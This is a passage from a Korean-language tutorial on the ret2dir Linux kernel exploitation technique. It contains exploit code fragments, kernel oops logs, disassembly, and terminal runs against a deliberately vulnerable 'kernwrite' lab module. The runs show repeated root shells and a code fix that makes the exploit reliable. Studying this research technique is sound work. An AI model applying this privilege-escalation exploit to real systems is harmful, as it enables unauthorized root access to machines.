- RIP 값으로 shellcode가 저장된 가상메모리의 주소는 정확하게 전달되었습니다.
- 하지만 해당 영역은 실행 권한이 없기 때문에 에러가 발생합니다.
- "Code: Bad RIP value."
w00t@vlux:~/ret2dir$ dmesg |tail -n 42 [64312.225362] kernwrite: overwriting function pointer with 0xffff88002cfff000 [64312.225428] kernwrite: executing at 0xffff88002cfff000 [64420.963665] kernwrite: overwriting function pointer with 0xffff88002cfff000 [64420.963757] kernwrite: executing at 0xffff88002cfff000 [64436.347693] kernwrite: overwriting function pointer with 0xffff88003f75e000 [64436.347767] kernwrite: executing at 0xffff88003f75e000 [64870.608960] kernwrite: overwriting function pointer with 0x00007f0adbb91000 [64870.609081] kernwrite: executing at 0x00007f0adbb91000 [64870.609150] BUG: unable to handle kernel paging request at 00007f0adbb91000 [64870.609257] IP: [<00007f0adbb91000>] 0x7f0adbb90fff [64870.609307] PGD 78011067 PUD 7818a067 PMD 36cd1067 PTE 800000005fa21067 [64870.609396] Oops: 0011 [#8] SMP [64870.609449] Modules linked in: kernwrite(OF) coretemp(F) ghash_clmulni_intel(F) aesni_intel(F) ablk_helper(F) cryptd(F) lrw(F) aes_x86_64(F) xts(F) gf128mul(F) snd_pcm(F) snd_timer(F) snd(F) psmouse(F) soundcore(F) microcode(F) snd_page_alloc(F) serio_raw(F) pcspkr(F) vmw_balloon(F) vmwgfx(F) ttm(F) drm(F) i2c_piix4(F) shpchp(F) mac_hid(F) e1000(F) mptspi(F) mptscsih(F) mptbase(F) vmw_pvscsi(F) vmxnet3(F) [last unloaded: kernwrite] [64870.610025] CPU 1 [64870.610045] Pid: 3393, comm: vaddr Tainted: GF D O 3.8.0-19-generic #30~precise1-Ubuntu VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform [64870.610156] RIP: 0010:[<00007f0adbb91000>] [<00007f0adbb91000>] 0x7f0adbb90fff [64870.610221] RSP: 0018:ffff880036653ef0 EFLAGS: 00010296 [64870.610260] RAX: ffffffffa01b7270 RBX: 0000000000000001 RCX: 00000000ffffffff [64870.610306] RDX: 0000000000003b2b RSI: 0000000000000082 RDI: 0000000000000246 [64870.610353] RBP: ffff880036653ef8 R08: 0000000000000000 R09: 0000000000000000 [64870.610399] R10: 00000000000006c9 R11: 6974756365786520 R12: 0000000000401b20 [64870.610445] R13: ffff880036653f50 R14: ffff880036c6f900 R15: 0000000000000000 [64870.610492] FS: 00007f0adc134700(0000) GS:ffff88007c620000(0000) knlGS:0000000000000000 [64870.610550] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [64870.610591] CR2: 00007f0adbb91000 CR3: 0000000036ce9000 CR4: 00000000001407e0 [64870.610663] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [64870.610729] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 [64870.610776] Process vaddr (pid: 3393, threadinfo ffff880036652000, task ffff880036d9ae80) [64870.610834] Stack: [64870.610860] ffffffffa01b507c ffff880036653f28 ffffffff8119b733 ffff880036c6f900 [64870.610957] 0000000000000000 0000000000401b20 0000000000000001 ffff880036653f78 [64870.611055] ffffffff8119ba72 000000000000000e 000000000000000e 0000000000020000 [64870.611155] Call Trace: [64870.611186] [<ffffffffa01b507c>] ? invoke_func+0x2c/0x30 [kernwrite] [64870.611234] [<ffffffff8119b733>] vfs_write+0xb3/0x180 [64870.611274] [<ffffffff8119ba72>] sys_write+0x52/0xa0 [64870.611315] [<ffffffff816fad5d>] system_call_fastpath+0x1a/0x1f [64870.611357] Code: Bad RIP value. [64870.611411] RIP [<00007f0adbb91000>] 0x7f0adbb90fff [64870.611462] RSP <ffff880036653ef0> [64870.611494] CR2: 00007f0adbb91000 [64870.611548] ---[ end trace 2ad46c5e91b8279d ]--- w00t@vlux:~/ret2dir$
Execute the shellcode at the physical memory address.
- 다음과 같이 shellcode를 실행할 주소로 물리 메모리의 주소를 전달합니다.
/* prepare to overwrite a function pointer via `kernwrite' */ memset(saddr, 0, ADDR_SZ); sprintf(saddr, "%#lx", res.btarget); /* verbose */ fprintf(stdout, "[+] shellcode is at %s\n", saddr);
- 다음과 같이 물리 메모리 영역의 shellcode가 실행되어 root권한을 획득하였습니다.
w00t@vlux:~/ret2dir$ gcc -o saddr exploit\(saddr\).c w00t@vlux:~/ret2dir$ ./saddr [*] Found KERN_EXEC Zone! [*] Page Number 131071 [*] 0x7f1e10d5f000 is kernel-mapped at 0xffff880034662000 [*] `prepare_kernel_cred' at 0xffffffff81086870 [*] `commit_creds' at 0xffffffff810865f0 [+] shellcode is at 0xffff880034662000 [+] p0wned [^_-] #
But there is a problem.
- 하지만 다음과 같은 문제가 있습니다.
- "exploit(saddr).c" 코드를 빌드하여 실행해도 root권한을 획득하지 못하는 경우가 많이 발생합니다.
- VM에 보관된 "kernwrite_amd64.c" 파일을 빌드하여 테스트해도 root권한을 획득하지 못하는 경우가 발생합니다.
- 이는 물리 메모리 영역의 권한 문제로 판단됩니다.
0xffff88007xxxx000 영역에 shellcode가 저장되었을 경우 root획득에 실패하였습니다.
0xffff88003xxxx000 영역에 shellcode가 저장되었을 경우 root획득에 성공하였습니다.
w00t@vlux:~/ekit$ cd ret2dir/ w00t@vlux:~/ekit/ret2dir$ ls kernwrite_amd64 kernwrite_amd64-pax perf-events_amd64.c rds_amd64-pax sock-diag_amd64 kernwrite_amd64.c perf-events_amd64 rds_amd64.c shellcode.h sock-diag_amd64.c w00t@vlux:~/ekit/ret2dir$ gcc -o test kernwrite_amd64.c w00t@vlux:~/ekit/ret2dir$ ./test test: [Warn] `mode' was not specified -- using -f (--fptr) test: [Warn] invalid `prepare_kernel_cred' address -- 0 [*] `prepare_kernel_cred' at 0xffffffff81086870 test: [Warn] invalid `commit_creds' address -- 0 [*] `commit_creds' at 0xffffffff810865f0 [*] 0x7f005e35b000 is kernel-mapped at 0xffff8800742e4000 [+] shellcode is at 0xffff8800742e4000 Killed w00t@vlux:~/ekit/ret2dir$ ./test test: [Warn] `mode' was not specified -- using -f (--fptr) test: [Warn] invalid `prepare_kernel_cred' address -- 0 [*] `prepare_kernel_cred' at 0xffffffff81086870 test: [Warn] invalid `commit_creds' address -- 0 [*] `commit_creds' at 0xffffffff810865f0 [*] 0x7f0382843000 is kernel-mapped at 0xffff8800342e7000 [+] shellcode is at 0xffff8800342e7000 [+] p0wned [^_-] #
- "http://www.cs.columbia.edu/~vpk/" 에서 제공하는 바이너리(kernwrite_amd64)의 경우 한번의 실패도 없이 root 권한을 획득합니다.
w00t@vlux:~/ekit/ret2dir$ ./kernwrite_amd64 kernwrite_amd64: [Warn] `mode' was not specified -- using -f (--fptr) kernwrite_amd64: [Warn] invalid `prepare_kernel_cred' address -- 0 [*] `prepare_kernel_cred' at 0xffffffff81086870 kernwrite_amd64: [Warn] invalid `commit_creds' address -- 0 [*] `commit_creds' at 0xffffffff810865f0 [*] 0x7f7238c2d000 is kernel-mapped at 0xffff8800341ff000 [+] shellcode is at 0xffff8800341ff000 [+] p0wned [^_-] # exit w00t@vlux:~/ekit/ret2dir$ ./kernwrite_amd64 kernwrite_amd64: [Warn] `mode' was not specified -- using -f (--fptr) kernwrite_amd64: [Warn] invalid `prepare_kernel_cred' address -- 0 [*] `prepare_kernel_cred' at 0xffffffff81086870 kernwrite_amd64: [Warn] invalid `commit_creds' address -- 0 [*] `commit_creds' at 0xffffffff810865f0 [*] 0x7f79670a8000 is kernel-mapped at 0xffff8800345ff000 [+] shellcode is at 0xffff8800345ff000 [+] p0wned [^_-] # exit w00t@vlux:~/ekit/ret2dir$ ./kernwrite_amd64 kernwrite_amd64: [Warn] `mode' was not specified -- using -f (--fptr) kernwrite_amd64: [Warn] invalid `prepare_kernel_cred' address -- 0 [*] `prepare_kernel_cred' at 0xffffffff81086870 kernwrite_amd64: [Warn] invalid `commit_creds' address -- 0 [*] `commit_creds' at 0xffffffff810865f0 [*] 0x7f639b783000 is kernel-mapped at 0xffff8800341ff000 [+] shellcode is at 0xffff8800341ff000 [+] p0wned [^_-] # exit
- 다음과 같이 바이너리를 분석하면 KERN_EXEC_LOW, KERN_EXEC_HIGH 매크로의 값이 kernwrite_amd64.c 파일에 저장된 값과 다르다는 것을 알수 있습니다.
KERN_EXEC_LOW : 0xFFFF880030400000 → 0xffff880001bfffff
KERN_EXEC_HIGH : 0xFFFF880080000000 → 0xffff880036000000
0x0000000000401404 <+659>: mov esi,0x4025e8 0x0000000000401409 <+664>: mov rdi,rax 0x000000000040140c <+667>: mov eax,0x0 0x0000000000401411 <+672>: call 0x400d40 <fprintf@plt> 0x0000000000401416 <+677>: movabs rax,0xffff880001bfffff 0x0000000000401420 <+687>: cmp QWORD PTR [rbp-0x8],rax 0x0000000000401424 <+691>: jbe 0x401436 <querypmap+709> 0x0000000000401426 <+693>: movabs rax,0xffff880036000000 0x0000000000401430 <+703>: cmp QWORD PTR [rbp-0x8],rax 0x0000000000401434 <+707>: jbe 0x401458 <querypmap+743
- 다음과 같이 코드를 수정합니다.
KERN_EXEC_LOW 매크로의 값을 0xffff880001bfffff 으로 변경합니다.
KERN_EXEC_HIGH 매크로의 값을 0xffff880036000000 으로 변경합니다.
#define KERN_EXEC_LOW 0xffff880001bfffffUL /* exec range start */ #define KERN_EXEC_HIGH 0xffff880036000000UL /* exec range end */
그리고 앞에서 설정한 범위의 메모리 영역에 매핑되는 가상 메모리를 1번에 할당받기 어렵기 때문에 다음과 같이 while()문을 추가합니다.
/* see if user space is kernel-mapped */ res = querypmap(getpid(), (unsigned long)code, psize, ALLOC_STEP / psize); /* bad luck; try again */ while(res.btarget == 0) { /* allocate ALLOC_STEP bytes in user space */ if ((code = mmap(NULL, ALLOC_STEP, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0)) == MAP_FAILED) /* failed */ errx(7, "[Fail] couldn't allocate memory -- %s", strerror(errno)); /* see if user space is kernel-mapped */ res = querypmap(getpid(), (unsigned long)code, psize, ALLOC_STEP / psize); } vaddr = (unsigned long)code + res.pnum * psize; printf("[*] Page Number %zd\n", res.pnum); printf("[*] %#lx is kernel-mapped at %#lx\n\n",vaddr,res.btarget);
다음과 같이 수정된 코드를 빌드하면 실패 없이 한번에 root권한을 획득할 수 있습니다.
w00t@vlux:~/ekit$ gcc -o saddr-bugfix exploit\(saddr\)-bugfix.c w00t@vlux:~/ekit$ ./saddr-bugfix [*] Found KERN_EXEC Zone! [*] Page Number 9045 [*] 0x7f533daac000 is kernel-mapped at 0xffff8800341ff000 [*] `prepare_kernel_cred' at 0xffffffff81086870 [*] `commit_creds' at 0xffffffff810865f0 [+] shellcode is at 0xffff8800341ff000 [+] p0wned [^_-] # exit w00t@vlux:~/ekit$ ./saddr-bugfix [*] Found KERN_EXEC Zone! [*] Page Number 6486 [*] 0x7f02f232f000 is kernel-mapped at 0xffff8800341ff000 [*] `prepare_kernel_cred' at 0xffffffff81086870 [*] `commit_creds' at 0xffffffff810865f0 [+] shellcode is at 0xffff8800341ff000 [+] p0wned [^_-] #
- 다음과 같이 커널 옵션을 선택한 후 빌드하면 "/sys/kernel/debug/kernel_page_tables" 파일이 생성되며, 해당 파일에서 물리 메모리에 대한 많은 정보를 확인할 수 있습니다.
- Kernel hacking → [*] Export kernel pagetable layout to userspace via debugfs
References
- ret2dir
- https://www.usenix.org/conference/usenixsecurity14/technical-sessions/presentation/kemerlis
- https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-kemerlis.pdf
- https://www.usenix.org/sites/default/files/conference/protected-files/sec14_slides_kemerlis.pdf
- https://www.blackhat.com/docs/eu-14/materials/eu-14-Kemerlis-Ret2dir-Deconstructing-Kernel-Isolation.pdf
- https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part4.html
- Memory
- https://en.wikipedia.org/wiki/Page_table
- https://blog.jeffli.me/blog/2014/11/08/pagemap-interface-of-linux-explained/
- http://pages.cs.wisc.edu/~remzi/OSTEP/vm-smalltables.pdf
- https://en.wikipedia.org/wiki/Virtual_memory#Paged_virtual_memory
- https://linux-kernel-labs.github.io/master/labs/memory_mapping.html
- https://www.kernel.org/doc/Documentation/vm/pagemap.txt
- https://www.kernel.org/doc/gorman/html/understand/understand006.html
- Patch
- Example
- physmap spraying
- Exploit
- kernel_page_tables